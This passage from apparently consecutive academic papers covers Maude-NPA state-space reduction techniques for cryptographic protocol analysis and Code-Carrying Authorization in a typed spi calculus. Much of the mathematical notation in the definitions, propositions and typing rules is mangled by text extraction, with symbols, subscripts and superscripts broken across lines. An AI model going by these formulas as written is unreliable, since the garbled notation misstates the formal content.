t with variables, we define the set of strands associated to t, denoted SSSt(t), as
follows: for each strand s in St of the form (r1, . . . , rk : Fresh) [m±

1 , . . . | . . . , m±
n ],
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if there is i ∈ {1, . . . , k} s.t. ri ∈ Var(t), then s1 ∈ SSSt(t); or if there is
another strand s′ ∈ SSSt(t) of the form (r′1, . . . , r

′
k′ : Fresh) [w±

1 , . . . | . . . , w±
n′ ],

i ∈ {1, . . . , k}, and j ∈ {1, . . . , n′} s.t. ri ∈ Var(wj), then s1 ∈ SSSt(t).

Given the previous definition, the following result is immediate.

Proposition 3. Given a topmost rewrite theory R = (Σ, EP , RP) representing
protocol P and a state St containing an intruder fact t∈I such that t is a super-
lazy term, let St denote the state obtained by replacing t∈I by ghost(t). Let St′

be a state such that St �∗
σ,R−1

P ,EP
St′, where σ(t) is not a super-lazy term, and

let σ′ = σ|Var(t). Let the reactivated state be Ŝt = σ′(St) ∪ SSSt′(σ(t)). If there
is an initial state Stinit such that St �∗

θ,R−1
P ,EP

Stinit and there is a substitution

ρ such that σ′ ◦ ρ =EP θ, then Ŝt �∗
ρ,R−1

P ,EP
Stinit .

Improving the super lazy intruder. When we detect a state St with a
super lazy term t, we may want to analyze whether the variables of t may
be eventually instantiated or not before creating a ghost state. Therefore, if
for each strand [m±

1 , . . . , m±
j−1 | m±

j , . . . , m±
k ] in St and each i ∈ {1, . . . , j −

1}, Var(t) ∩ Var(mi) = ∅, and for each term w∈I in the intruder knowledge,
Var(t) ∩ Var(w) = ∅, then we can clearly infer that the variables of t can never
be instantiated and adding a ghost to state St is unnecessary.

Interaction with transition subsumption. When a ghost state is reacti-
vated, we see from the above definition that such a reactivated state will be
P-subsumed by the original state that raised the ghost expression. Therefore,
the transition subsumption of Section 4.5 has to be slightly modified to avoid
checking a resuscitated state with its predecessor ghost state, i.e., St1 0′

P St2
iff St1 0P St2 and St2 is not a resuscitated version of St1.

5 Experimental Evaluation

In Table 1, we summarize the experimental evaluation of the impact of the differ-
ent state space reduction techniques for various example protocols searching up
to depth 4. We measure several numerical values for the techniques: (i) number
of states at each backwards narrowing step, and (ii) whether the state space is
finite or not. The experiments have been performed on a MacBook with 2 Gb
RAM using Maude 2.4. The protocols are the following: (i) NSPK, the standard
Needham-Schroeder protocol, (ii) SecReT06, a protocol with an attack using
type confusion and a bounded version of associativity that we presented in [8],
(ii) SecReT07, a short version of the Diffie-Hellman protocol that we presented
in [6], and (iv) DH, the Diffie-Hellman protocol of Example 1.

The overall percentage of state-space reduction for each protocol and an av-
erage (96%) suggest that our combined techniques are remarkably effective (the
reduced number of states is on average only 4% of the original number of states).
The state reduction achieved by consuming input messages first is difficult to
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Table 1. Number of states for 1,2,3, and 4 backwards narrowing steps

Protocol none Input First % Inconsistent % Grammar % Subsump % Lazy % All %
NSPK 5-15-104-427 1-11-11-145 69 5-14-71-176 51 3-7-27-86 77 5-15-61-107 65 5-15-104-405 3 1-4-3-6 97

SecReT06 1-7-26-154 1-19-33-222 0 1-7-26-152 1 1-2-6-14 87 1-7-14-18 78 1-7-26-154 0 1-2-2-1 96
SecReT07 6-15-94-283 1-11-30-242 28 6-10-32-75 69 5-13-70-201 27 6-15-74-192 27 6-11-24-52 76 1-4-4-5 96

DH 2-24-78-385 2-24-29-435 0 2-22-27-212 46 2-8-22-53 82 2-14-26-102 70 2-24-78-369 3 2-4-4-6 96
% Reduction 24 41 68 60 20 96

Table 2. Finite state space achieved by reduction techniques

Protocol Finite State Space Achieved by:
NSPK Grammars and Subsumption

SecReT06 Subsumption or (Grammars and Lazy)
SecReT07 Subsumption and Lazy

DH Grammars and Subsumption

analyze because it can reduce the number of states in protocols that contain
several input messages in the strands, as in the NSPK protocol, but in general
simply reduces the length of the narrowing sequences and therefore more states
are generated at a concrete depth of the narrowing tree. The use of grammars
and the transition subsumption are clearly the most useful techniques in general.
Indeed, all examples have a finite search space thanks to the use of the different
state space reduction techniques. Figure 2 summarizes the different techniques
providing a finite space. Note that grammars are insufficient for the SecReT07
example, while the super lazy intruder is essential.

6 Concluding Remarks

TheMaude-NPA cananalyze the securityof cryptographicprotocols,modulo given
algebraic properties of the protocol’s cryptographic functions, in executions with
anunboundednumber of sessions andwithno approximationsor data abstractions.
In this full generality, protocol security properties are well-known to be undecid-
able. The Maude-NPA uses backwards narrowing-based search from a symbolic
description of a set of attack states by means of patterns to try to reach an initial
state of the protocol. If an attack state is reachable from an initial state, the Maude-
NPA’s complete narrowing methods are guaranteed to prove it. But if the protocol
is secure, the backwards search may be infinite and never terminate.

It is therefore very important, both for efficiency and to achieve full verification
whenever possiblewhen a protocol is secure, to use state-space reduction techniques
that: (i) can drastically cut down the number of states to be explored; and (ii) have
in practice a good chance to make the, generally infinite, search space finite without
losing soundness of the analysis; that is, so that if a protocol is indeed secure, failure
to find an attack in such a finite state space guarantees the protocol’s security for all
reachable states. We have presented a number of state-space reduction techniques
used in combination by the Maude-NPA for exactly these purposes. We have given
precise characterizations of theses techniques and have shown that they preserve
soundness, so that if no attack is found and the state space is finite, full verification
of the given security property is achieved.
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Using several representative examples we have also given an experimental
evaluation of these techniques. Our experiments support the conclusion that,
when used in combination, these techniques: (i) typically provide drastic state
space reductions; and (ii) they can often yield a finite state space, so that whether
the desired security property holds or not can in fact be decided automatically,
in spite of the general undecidability of such problems.
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Abstract. In authorization, there is often a wish to shift the burden of proof to
those making requests, since they may have more resources and more specific
knowledge to construct the required proofs. We introduce an extreme instance of
this approach, which we call Code-Carrying Authorization (CCA). With CCA,
access-control decisions can partly be delegated to untrusted code obtained at
run-time. The dynamic verification of this code ensures the safety of authorization
decisions. We define and study this approach in the setting of a higher-order spi
calculus. The type system of this calculus provides the needed support for static
and dynamic verification.

1 Introduction

The generation, transmission, and checking of evidence plays a central role in autho-
rization. The evidence may include, for instance, certificates of memberships in groups,
delegation assertions, and bindings of keys to principals. Typically, the checking is done
dynamically, that is, at run-time, in reference monitors. When a reference monitor con-
siders a request from a principal, it evaluates the evidence supplied by the principal
in the context of a local policy and other information. It is also possible—and indeed
attractive—to perform some of the checking statically, at the time of definition of a sys-
tem. This static checking may rely on logical reasoning or on type systems, and may
guarantee that enforcement of a policy is done thoroughly and correctly.

A growing body of research explores the idea that the evidence may include or may
be organized as a logical proof [4,9,15,17,20]. For instance, in the special case of proof-
carrying code (PCC), the proofs guarantee code safety, and the requests are typically for
running a piece of code [17]. In another example, the clients of a web server may present
proofs that their requests should be granted [5]. This idea provides a principled approach
to authorization. It also provides an approach to auditing in which the proofs that motivate
access-control decisions can be logged and analyzed [20]. While the burden of proof
generation shifts to the principal that makes a request, the proof need not be trusted, so
the reference monitor still needs to verify the proof. Dynamic proof verification may fail;
accordingly, any static checking needs to accommodate this possibility.

Thus arises the question of how to reconcile static checking with proof-carrying and
dynamic verification. As an interesting specific instance of this question, one may won-
der how to incorporate dynamic verification in the existing typed spi calculus for autho-
rization of Fournet et al. [12]. In that calculus, a static type system guarantees the safe
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enforcement of an authorization policy. It does not include proofs as first-class objects,
nor the possibility of dynamic verification. One might think about adding proofs and
proof-checking as primitives to this calculus, in order to support dynamic verification
and authorization. While that idea may seem “natural”, to our surprise we discovered
that a more general idea is both technically cleaner and more powerful in supporting
interesting authorization scenarios. With “Proof-Carrying Authorization” (PCA) [4] in
mind, we call this idea “Code-Carrying Authorization” (CCA).

CCA consists in passing not proofs but pieces of code that perform run-time verifi-
cation. These pieces of code are essentially fragments of a reference monitor. They are
themselves checked dynamically, since in general they are not trusted. Analogously, the
Open Verifier project [8] has started to explore a generalization of PCC in which mobile
code is accompanied by untrusted verifiers.

Following the Curry-Howard isomorphism, one may view proofs as programs. Still,
with PCA [4], those programs are only checked, not executed. With CCA, programs
are executed as well, though in a controlled way. No additional language for proofs is
needed; we can use arbitrary code, subject to dynamic typing. Thus, in comparison with
PCA, CCA allows a more open-ended, flexible notion of evidence without requiring the
introduction of special syntax.

In the present paper, we explore dynamic verification and authorization in the con-
text of a typed spi calculus. Technically, this calculus is a higher-order spi calculus [3]
with dynamic typing. Both the higher-order features and the dynamic typing rely on
fairly standard constructs [2,19], though with some new technical complications and
new applications. In particular, the dynamic typing can require theorem proving. The
calculus includes only shared-key cryptography; further cryptographic primitives might
be added as in later work by Fournet et al. [13]. Optionally, the calculus also includes
first-class proof hints, which can alleviate or eliminate the theorem-proving task at the
reference monitor. We prove results that establish the safety of authorization decisions
with respect to policies. (The full version of this paper [16] contains detailed proofs.)

We exploit this calculus in a range of small but challenging examples. These exam-
ples illustrate some of the advantages of dynamic verification and of CCA in particular.
For instance, in some of the examples, a server can enforce a rich authorization policy
while having only simple, generic code; clients provide more detailed code for run-time
access control. Such examples are beyond the scope of previous systems.

In addition to the research on PCA and on types for authorization cited above, our
work is related to a broad range of applications of process calculi to security. These
include, for instance, distributed pi calculi with trust relations and mobile code [14,18].
Interestingly, some of these calculi support remote attestation and dynamic subtyping
checks (however, with rather different goals and type structures, and no typecase) [10].

2 A Spi Calculus with Dynamic Verification

In this section we review the calculus for authorization on which we build [12], and
discuss our extensions for dynamic verification.
Authorization Logics. Our approach is parametric in the choice of an authorization
logic used as a policy language. The only constraint on the logic is that it be monotonic



Code-Carrying Authorization 565

and closed under substitution (see [16]). For example, Datalog [7], Binder [11], and
CDD [1] are valid authorization logics. In the rest of the paper, we use Datalog as an
authorization logic, and write S |= C when policy S entails the clause C. Informally,
entailment means that access requests that depend on C should be granted according
to S.

Our running example is based on an electronic conference reviewing system. The
conference server contains a policy that controls the access to the database of paper
reviews. This policy expresses authorization facts such as PCMember(alice), which
means “Alice has been appointed as a member of the program committee of the confer-
ence”, or authorization rules such as

Review(U,ID,R) :− PCMember(U),Opinion(U,ID,R)

which means “if a committee member holds a certain opinion on any paper, she can
submit a review for that paper”. Capitalized variables such as U , ID, and R are bound
logical variables. Lower-case identifiers (such as alice above), together with any other
values of the process language, are uninterpreted logical atoms.

Process Syntax and Semantics. The core language consists of an asynchronous spi
calculus where parallel processes can send messages to each other on named channels.
For example, we may write:

out a(M) | in a(x);P → P{M/x}

The symbol → represents a computation step. On the left of →, we have a parallel
composition of a process that sends a message (actually M) on the channel a and a
process that receives a message (represented by the formal parameter x) on a and then
executes P; on the right is the result, in which the formal parameter is replaced with the
actual message.

Messages include channel names, cryptographic keys, pairs, and encryptions. We
assume that encryption preserves the integrity of the payload. There are operations for
decomposing and matching pairs and for decrypting messages. For example,

decrypt {M}k as {y}k;Q → Q{M/y}

represents the only way to “open” the encryption {M}k to retrieve M.
Two special constructs have no effects on the semantics of programs, but are annota-

tions that connect the authorization policy to the protocol code: statements and expec-
tations. A statement, such as SentOn(a,b), should be manually inserted in the code in
order to record that, at a particular execution point, the clause SentOn(a,b) is regarded
as true. An expectation, such as expect GoodParam(x), should label program points
where the clause GoodParam(x) must hold for the run-time value of x. For example,
the following code is safe with respect to the policy GoodParam(X) :−SentOn(a,X):

(out a(b) | SentOn(a,b)) | in a(x);(expect GoodParam(x) | out c(x))

To this core language, we add a new kind of message (x:T )P that represents the process
P parametrized by x of type T , and operations to spawn such processes and to check
the type of messages dynamically. The formal syntax of messages and processes is as
follows:
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Syntax for Messages and Processes:

a,b,c,k,x,y,z name
M,N ::= message

x name
{M}N authenticated encryption of M with key N
(M,N) message pair
(x:T )P code P parametric in x
ok token conveying logical effects (see Section 3)

P,Q,R ::= process
out M(N) asynchronous output of N to channel M
in M(x:T );P input of x from channel M (x has scope P)
!in M(x:T );P replicated input
new x:T ;P fresh generation of name x (x has scope P)
P | Q parallel composition of P and Q
0 null process
decrypt M as {y:T}N;P bind y to decryption of M with key N (y has scope P)
split M as (x:T,y:U);P solve (x,y) = M (x has scope U and P; y has scope P)
match M as (N,y:U);P solve (N,y) = M (y has scope P)
spawn M with N spawn M instantiated with N
typecase M of x:T ;P typecheck M at type T (x has scope P)
C statement of clause C
expect C expectation that clause C is derivable

Notations: (x̃:T̃ ) 2= (x1:T1, . . . ,xn:Tn) and new x̃:T̃ ;P
2= new x1:T1; . . .new xn:Tn;P

Let S = {C1, . . . ,Cn}. We write S | P for C1 | . . . |Cn | P.

For notational convenience, we may omit type annotations, especially for Un types.
Both spawn and typecase are standard constructs. However, in combination they

turn out to be very useful for our purposes. For example, a verifier process can accept
untrusted messages from the network, check that they are well-typed as processes with
input of type T , and then send the code out to the network once again on an untrusted
channel, wrapped in an encryption meant to signify that the contents are now guaranteed
to be type-safe:

in unCode(x);typecase x of y:Pr(T );out tsCode({y}k)

A code user can accept such encrypted code packages, and run the code passing it a
parameter M of the correct type T without further checking:

in tsCode(x);decrypt x as {y}k;spawn y with M

As usual in the pi calculus, we define the formal semantics of the calculus by a set
of structural congruence rules (see [16]) that describe what terms should be considered
syntactically equivalent, and a set of reduction rules (displayed below) that describe how
processes evolve. Most of these reduction axioms are standard. Rule (Red Typecase) re-
quires some typing environment E in which the check E , M : T can be performed. In
order to define such environments, we parametrize the reduction relation by an initial
environment (which can also be chosen as ∅ if necessary). Rule (Red Res) dynami-
cally adds the names defined by restriction contexts to the current typing environment,
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Rules for Reduction: P →E P′

out a(M) | in a(x:T );P →E P{M/x} (Red Comm)
out a(M) | !in a(x:T );P →E P{M/x} | !in a(x:T );P (Red !Comm)
decrypt {M}k as {y:T}k;P →E P{M/y} (Red Decrypt)
split (M,N) as (x:T,y:U);P →E P{M,N/x,y} (Red Split)
match (M,N) as (M,y:U);P →E P{N/y} (Red Match)

spawn (x)P with M →E P{M/x} (Red Spawn)
E , M : T ⇒ typecase M of y:T ;P →E P{M/y} (Red Typecase)

P →E,env(Q)x̃ P′ ⇒ P | Q →E P′ | Q (where {x̃}∩ fn(P,Q) = ∅) (Red Par)
P →E,x:T P′ ⇒ new x:T ;P →E new x:T ;P′ (Red Res)
P ≡ Q,Q→E Q′,Q′ ≡ P′ ⇒ P →E P′ (Red Struct)

Notation: P →∗≡
E P′ is P ≡ P′ or P →∗

E P′.

and rule (Red Par) adds the new clauses and names (env(Q)x̃) defined by parallel con-
texts. The technical reasons for these definitions, which should become apparent in
Section 3, are illustrated in the following small example. Consider the reduction step:

new a:T ;(typecase a of y:T ;P)→∅ new a:T ;P{a/y}

By (Red Res), this reduction takes place if typecase a of y:T ;P →a:T P{a/y}, and this
is a valid instance of (Red Typecase) since the typing environment is now a:T , and
a:T , a : T is clearly a valid typing judgment.

These rules allow a typecase process typecase M of y:T ;P to reduce provided the
message M can be typechecked in an environment E that collects clauses and names
defined in any parallel context. In an implementation, it may be impractical to collect the
full environment, because, for example, E takes the form E ′,E ′′ where the clauses and
names of E ′ are local, while those in E ′′ are distributed across remote machines. Still,
it is fine for an implementation to typecheck the message in the local environment E ′,
because, by a standard weakening lemma, if E ′ , M : T then also E ′,E ′′ , M : T . Such
an implementation would not admit reduction steps that depend on implicit knowledge
of remote clauses and names. This is not a problem in our theory, as we are concerned
with safety properties; in practice, we can convey knowledge of remote clauses and
names by explicit use of cryptography, as in the examples in later sections.

For brevity, we use derived notations for tuples and pattern-matching, and omit type
annotations when they are not necessary. The tuple (M1,M2, . . . ,Mn) abbreviates the
nested pairs (M1,(M2, . . . ,Mn)). We write tuple M as (N1, . . . ,Nn);P to pattern-match
a tuple, where M is a tuple, and each Ni is an atomic pattern (either a variable pattern x,
or a constant pattern =M, where M is a message to be matched). For each variable, we
introduce a split, and for each constant a match. For example, for a fresh z we have

tuple (a,b,c) as (x,=b,y);P 2=
split (a,(b,c)) as (x,z);match z as (b,z);split (z,z) as (y,z);P

We also allow pattern-matching in conjunction with input and decryption processes.

Safety. Relying on the operational semantics, we give a formal definition of safety
(much as in [12]). This notion makes precise the intuitive relation between
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assumptions, expectations, and program execution. The idea is that a process is safe
if whenever during an execution the statement expect C is reached (i.e., it appears at the
top level, possibly inside some nested name restrictions) the environment has accumu-
lated enough rules and facts to entail C.

It is also important to know when a process is safe even if it is executed in parallel
with a malicious opponent. Following a common approach, we model the opponent as
an arbitrary untyped process, with no statements or expectations.

Safety, Opponents and Robust Safety:

A process P is safe for E if and only if whenever P →∗≡
E new x̃:T̃ ;(expect C | P′), we have

P′ ≡ new ỹ:Ũ ;(S | P′′) and S∪ clauses(E) |= C with ({ỹ}∩ fn(C)) = ∅ = ({x̃, ỹ}∩dom(E)).
A process O is an opponent if and only if it contains no statement or expectation, and every type
annotation is Un.
A process P is robustly safe for E if and only if for any opponent O, P | O is safe for E, x̃:Ũn,
where x̃ are the free names of O not in the domain of E.

For example, the process P = out b(a) | in b(x);expect A(x) is safe for A(a), but not ro-
bustly safe, as an opponent that replaces a with c can lead to an unsatisfied expectation:
in b(x);out b(c) | P →∗

A(a) expect A(c).

3 A Type System for Robust Safety

We present a dependent type system that statically guarantees safety and robust safety.
We extend the system of [12] with a type constructor Pr(T ) for process code parametric
in T , and rules for the spawn and typecase constructs. Most of the rules in this section
(including those for new constructs) are largely standard rules adapted to the present
context. We are pleased by how much advantageous reuse has been possible.

We prove that typability with respect to an environment E entails safety for E and, if
all the types in E are Un (“untrusted”), also robust safety.

Types and Environments. Type Un is inhabited by any message that may come or go
to the opponent, like for example a ciphertext that can be considered untrusted until
it is decrypted. Upon decryption, one may reason that the contents were created by
a principal that knows the encryption key. Types Ch(T ) and Key(T ) are inhabited by
secure channels or secret keys for communicating or encrypting messages of type T . A
dependent type (x:T,U) is inhabited by the pairs (M,N) where M has type T , and N
has type U{M/x}. Type Ok(S) is inhabited only by the token ok, and is used to attach
effects to the payload of channels and keys. When a variable in the environment has
type Ok(S), it is safe to assume that S holds.

Syntax for Types:

T,U ::= Un | Ch(T ) | Key(T ) | (x:T,U) | Pr(T ) |Ok(S)

T is generative iff T is of the form Un, Ch(U), or Key(U), for some U .

Notation: (x1:T1, . . . ,xn:Tn,Tn+1)
2= (x1:T1, . . . ,(xn:Tn,Tn+1))
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For example, the type declaration kra : Key(id:Un,r:Un,Ok(Opinion(alice, id,r))) says
that kra is a key for encrypting a tuple like (paper,text,ok) where paper and text are
untrusted values and the ok token indicates that the key conveys the logical effect
Opinion(alice,paper,text).

Typing environments are lists of name bindings and clauses. We write dom(E) for
the set of names defined (i.e., appearing to the left of a binding “:”) in environment E .
We write env(P) for the top-level clauses of process P, with suitable name bindings for
any top-level restrictions, and clauses(E) for the clauses contained at the top level and
inside the top-level Ok types of E . We use a standard notion E , 4 of well-formedness
for environments (see [16]).

Syntax for Environments, and Functions: env(P), clauses(E)

E ::= ∅ | E,x:T | E,C Notation: E(x) = T if E = E ′,x:T,E ′′

clauses(∅) = ∅ clauses(E,x:T ) = clauses(E) (if T �= Ok(S))
clauses(E,C) = clauses(E)∪{C} clauses(E,x:Ok(S)) = clauses(E)∪S

env(P | Q)x̃,ỹ = env(P)x̃,env(Q)ỹ (where {x̃, ỹ}∩ fn(P | Q) = ∅)
env(new x:T ;P)x,x̃ = x:T,env(P)x̃ (where {x̃}∩ fn(P) = ∅)
env(C)∅ = C env(P)∅ = ∅ (otherwise)

Convention: env(P) 2= env(P)x̃ for some distinct x̃ such that env(P)x̃ is defined.

Typing Rules. For each message constructor there are two typing rules, one to give it
an informative type, and one to give it type Un. Rules of the second kind are useful to
show that any opponent process can be typed.

Rule (Msg Encrypt) shows that an encryption under a trusted key does not need
to be trusted, in the sense that it can be sent to an opponent. Rules (Msg Proc) and
(Msg Proc Un) invoke the typing relation for processes in an environment that assumes
respectively type T or type Un for the process parameter x. Rule (Msg Ok) is typical of
this typed approach to verification: in order for an ok token to convey the effects S, it
must be the case that the clauses contained in the environment (which include the policy
and all the facts consequently accumulated by Ok types) entail each of the clauses in S.

Rules for Messages: E , M : T

(Msg x)
E , 4 x ∈ dom(E)

E , x : E(x)

(Msg Encrypt)
E , M : T E , N : Key(T )

E , {M}N : Un

(Msg Encrypt Un)
E , M : Un E , N : Un

E , {M}N : Un

(Msg Pair)
E , M : T E , N : U{M/x}

E , (M,N) : (x:T,U)

(Msg Pair Un)
E , M : Un E , N : Un

E , (M,N) : Un

(Msg Ok Un)
E , 4

E , ok : Un

(Msg Proc)
E,x:T , P

E , (x:T )P : Pr(T )

(Msg Proc Un)
E,x:Un , P

E , (x:Un)P : Un

(Msg Ok)
E,S , 4 clauses(E) |=C ∀C ∈ S

E , ok : Ok(S)

Rule (Proc Res) requires to type P in an environment with the additional binding x:T .
Correspondingly, the reduction rule (Red Res) assumes the binding in the run-time envi-
ronment of its premise. Rule (Proc Par) collects the effects of process Q to typecheck P,
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and vice versa. Similarly, the premise of (Red Par) assumes env(Q) in the environment
of its premise. Rule (Proc Expect) requires an expected clause to be entailed by the
environment, much in the same way as (Msg Ok). Rule (Proc Typecase) is somewhat
subtle. It corresponds to an Un rule if we pick U and T to be Un. Moreover, the type U
is not related a priori to the type T . In typical examples, the rule allows us to check a
message M received at type Un and bind a variable y of some more useful type T to this
message if the check succeeds. The remaining rules come in pairs, with one rule that
assumes informative types and one that assumes Un types. Most of them are straight-
forward. For example, (Proc Output) says that a message of type T can be sent on a
channel of type Ch(T ), and (Proc Decrypt) says that the variable y that represents the
payload of a ciphertext of type Un decrypted with a key of type Key(T ) can be assumed
to have type T in the continuation process. The rules for split and match are similar.

Rules for Processes: E , P

(Proc Nil)
E , 4
E , 0

(Proc Res)
E,x:T , P T generative

E , new x:T ;P

(Proc Fact)
E,C , 4
E ,C

(Proc Expect)
E,C , 4 clauses(E) |=C

E , expect C

(Proc Par)
E,env(Q) , P E,env(P) , Q fn(P | Q)⊆ dom(E)

E , P | Q

(Proc Typecase)
E , M : U E,x : T , P

E , typecase M of x:T ;P

(Proc Spawn)
E , M : Pr(T ) E , N : T

E , spawn M with N

(Proc Spawn Un)
E , M : Un E , N : Un

E , spawn M with N

(Proc Input)
E , M : Ch(T ) E,x:T , P

E , [!]in M(x:T );P

(Proc Input Un)
E , M : Un E,x:Un , P

E , [!]in M(x:Un);P

(Proc Output)
E , M : Ch(T ) E , N : T

E , out M(N)

(Proc Output Un)
E , M : Un E , N : Un

E , out M(N)

(Proc Decrypt)
E , M : Un E , N : Key(T ) E,y:T , P

E , decrypt M as {y:T}N;P

(Proc Decrypt Un)
E , M : Un E , N : Un E,y:Un , P

E , decrypt M as {y:Un}N;P

Notation: brackets denote optional constructs.

As a simple example, we can show that for E = Bar :−Foo, b:Ch(Ok(Bar)), the typ-
ing judgment E , Foo | out b(ok) is valid. The judgment follows by an instance of
(Proc Par), from E , Foo and E,Foo , out b(ok). The latter in turn follows by
(Proc Output) and (Msg Ok), where the second rule uses the logical inference clauses
(E,Foo) |= Bar. Section 4 includes a longer, detailed example of how the interplay
between static and dynamic typechecking makes this type system expressive.

Results. We obtain a type preservation result and a safety theorem that guarantees that
typability implies safety.

Lemma 1 (Type Preservation). If E , P and P →∗≡
E P′ then E , P′.

Theorem 1 (Safety). If E , P then P is safe for E.

The safety theorem makes explicit the connection between the environment used for
typing (existentially quantified in related work), and the run-time environment.



Code-Carrying Authorization 571

In order to show that our notion of opponent is not restrictive in a typed setting,
we prove that any opponent can be typed in an environment that does not make trust
assumptions. Finally, we prove that if a process P is safe for a security policy S and an
untrusted environment, then it is robustly safe.

Lemma 2 (Opponent Typability). For opponent O, x̃:Ũn , O, where fn(O)⊆ {x̃}.

Theorem 2 (Robust Safety). If x̃:Ũn,S , P then P is robustly safe for x̃:Ũn,S.

For example, let us consider process Q = out b(a,ok) | in b(x,y);expect A(x). It is easy
to see that given E = a:Un,b:Ch(x:Un,A(x)),A(a) we have E , Q, so Q is safe for E .
On the other hand it is not possible to derive a:Un,b:Un,A(a) , Q, so we cannot prove
robust safety (which does not hold).

Dynamic Verification. We define a derived construct to verify that a piece of code M,
when passed a parameter N of type T enforces property S. The idea is to typecheck dy-
namically M, against the parameter type T and an implicit parameter c that is a channel
used to return the result of verification, namely an ok token carrying the effects S. The
continuation process P will execute only if verification succeeds, that is M sends an ok
on channel c.

verify M〈[z̃:Un,N:T ]〉:S;P � new c:Ch(Ok(S));(
typecase M of y:Pr([z̃:Un,T, ]Ch(Ok(S)));

spawn y with ([z̃,N, ]c) | in c(x:Ok(S));P
)

(where {c,y,x}∩ fn(P,M, [N, ]S) = ∅, and {z̃} ⊆ fn(S))

One may wonder whether it is prudent to run the code of an untrusted verifier that is
guaranteed to enforce a certain policy. Although additional precautions may be appro-
priate, this guarantee is substantial. By lexical scoping, the code of the verifier cannot
contain capabilities that are not already known by its generator; other capabilities can
only be passed explicitly as parameters. Moreover, the verifier must be well-typed in
the run-time typing environment, which can be restricted conveniently to further limit
potential side effects. On the other hand, this guarantee does not cover other kinds of at-
tacks (such as information leaks or denial-of-service attacks), which may be addressed
independently.

4 Examples: A Conference Program Committee

As a benchmark for the effectiveness of CCA, we revisit the conference program com-
mittee example of [12]. We first review the idealized electronic conference system, then
present two examples that illustrate the benefits of CCA.

Review: an Electronic Conference Reviewing System. There are three kinds of princi-
pals: the program committee chair (pc-chair), identified with the server, the program
committee members (pc-members), and potential reviewers. The last two are clients of
the server. We model only the portion of the conference reviewing system for delegating
and filing reviews. The authorization policy S, from the subjective
viewpoint of the pc-chair, is:
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S = Review(U,ID,R) :− Reviewer(U,ID),Opinion(U,ID,R)
Review(U,ID,R) :− PCMember(U),Opinion(U,ID,R)
Reviewer(V,ID) :− Reviewer(U,ID),Delegate(U,V,ID)
Delegate(U,W,ID) :− Delegate(U,V,ID),Delegate(V,W,ID)
Delegate(U,U,ID) :−Opinion(U,ID,R)

The predicate Opinion(u,id,r) states that principal u holds opinion r on paper id, and is
under the control of u itself (that is, the code identified with u can freely assert that pred-
icate). The predicate Delegate(u,v,id) states that principal u delegates its capability to
review paper id to principal v, and is also under the control of u. All the other predicates
are controlled by the pc-chair, and should be asserted only within server code.

Cryptographic keys can be associated with each of these predicates to convey au-
thorization facts through untrusted messages. Thus, the pc-chair may appoint alice as
a pc-member by sending her a token {alice}kp encrypted under a key that carries the
effect PCMember(alice), and similarly for the other predicates. We define the type of
the keys that correspond to each effect, and the type of a channel that implements a
database where the pc-chair stores the keys of all potential users:

KA = Key(u:Un,id:Un,Ok(Reviewer(u,id)))
KP = Key(u:Un,Ok(PCMember(u)))
KD = Key(z:Un,id:Un,Ok(Delegate(v,z,id)))
KR = Key(id:Un,r:Un,Ok(Opinion(v,id,r)))

T = Ch(v:Un,(KD,KR))

Keys of type KA or KP are used by the pc-chair only, to assign a paper to a reviewer or
to appoint a pc-member respectively. Keys of type KD or KR (parametric in v) can be
used by principal v to convey either an opinion or a delegation effect. Type T is the type
of a channel used to retrieve the keys of each registered user. Note that it is a dependent
type that binds the free parameter v of types KD and KR.

Off-line Delegation. Our first example presents a system that lets reviewers appoint sub-
reviewers without involving the pc-chair in the process. A typical solution that does not
use CCA is to have a reviewer present to the server a request that contains her opinion,
together with some evidence that represents a chain of delegation. The server then runs
an algorithm to traverse the chain and check corresponding permissions, and grants
access if the evidence is satisfactory. This solution commits the server to a specific ver-
ification algorithm (or a fixed number thereof). Using CCA instead, the server code can
be simpler and parametric. For example, the server is defined by the same code whether
or not the delegation chain is ordered, has limited length, or delegation is permitted at
all. Along with each request to file a review, the server receives the code of a verifier
and some evidence. It verifies that the code enforces the desired authorization policy,
and grants access without further checks. The relevant portion of the server code is:

Server(pwdb:T,ka:KA,kp:KP) =
S | !in filereview(v,id,r,p,e);

verify p〈(v,r,e,(pwdb,ka,kp)):(v:Un,r:Un,Un,(T,KA,KP))〉:Review(v,id,r); [...]

It contains the assertion of policy S, and a process always ready to accept messages
on the public channel filereview. Parameters v, id, and r are interpreted as a request
from principal v to file review r on paper id. Parameter p is the code of a verifier
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that must be run to grant authorization (i.e., prove Review(v,id,r)) on data including
the evidence received as the last parameter e, and local credentials provided by the
server. The parameters passed by the server to the verifier p are the name v of the
principal issuing the request, the report r, the evidence e, and a triple (pwdb,ka,kp).
Channel pwdb can be used to retrieve user credentials. Keys ka and kp are the secret
keys used by the pc-chair to appoint reviewers and pc-members. If verification succeeds,
authorization is granted, and r is a valid review for id.

A delegate v receives from a reviewer a request to review paper id, with additional
parameters p (the verifier code to be passed on to the server), and dc (the evidence
that represents a chain of delegation). The delegate may appoint another sub-reviewer,
adding a delegation step to the chain (v,{u, id,ok}kdv,dc), or file a review, adding evi-
dence of its opinion to the top of the chain:

Delegate(v:Un,krv:KR,kdv:KD) =
!in reviewrequest(=v,id,p,dc);
(in accept(r); Opinion(v,id,r) | out filereview(v,id,r,p,({id,r,ok}krv,dc)) |
(in delegate(u); Delegate(v,u,id) | out reviewrequest(u,id,p,(v,{u,id,ok}kdv,dc)))

The pc-member can embed its logical effects directly in the verification code. For that
reason, it transmits as evidence ok tokens with empty logical effects. The verifier fver,
used to file a review ignores the principal name and the evidence, states that v holds
opinion r on id, parses the server credentials to get the key to appoint pc-members,
proves that v is a pc-member, by decrypting the appointment token (passed by the server
earlier on), and finally signals success.

PCMember(v:Un,pctoken:Un,idtoken:Un) =
!in paperassign(=v,id,idtoken);
(in review(r); out filereview(v,id,r,fver,ok) |
(in delegate(u); out reviewrequest(u,id,dver,ok))
fver = ( , ,keys,return) (Opinion(v,id,r) | tuple keys as ( , ,kp);

decrypt pctoken as {=v, }kp; out return(ok))

The verifier code dver involves a loop to gather and verify all the elements of the dele-
gation chain. Because of space constraints, we relegate it to the full version [16].

This code, and a few additional code fragments not shown here, can be assembled
into a program that represents the entire conference reviewing system. This program
typechecks in an environment of the form x̃:Ũn (according to the rules of Section 3).
Therefore, Theorem 2 applies, and guarantees robust safety. In this particular case, this
theorem implies that expectations in the server code, such as Review(v,id,r), are always
satisfied at run-time when they occur, even in an untrusted environment.

Server-Side Proxy. Our second example illustrates the use of verifiers as server-side
proxies installed by clients. It illustrates the flexibility of using typecase and spawn
independently from the derived verify construct.

We modify our previous example so that the pc-member sends the delegation verifier
dver directly to the server, which can use it to authorize requests from delegated review-
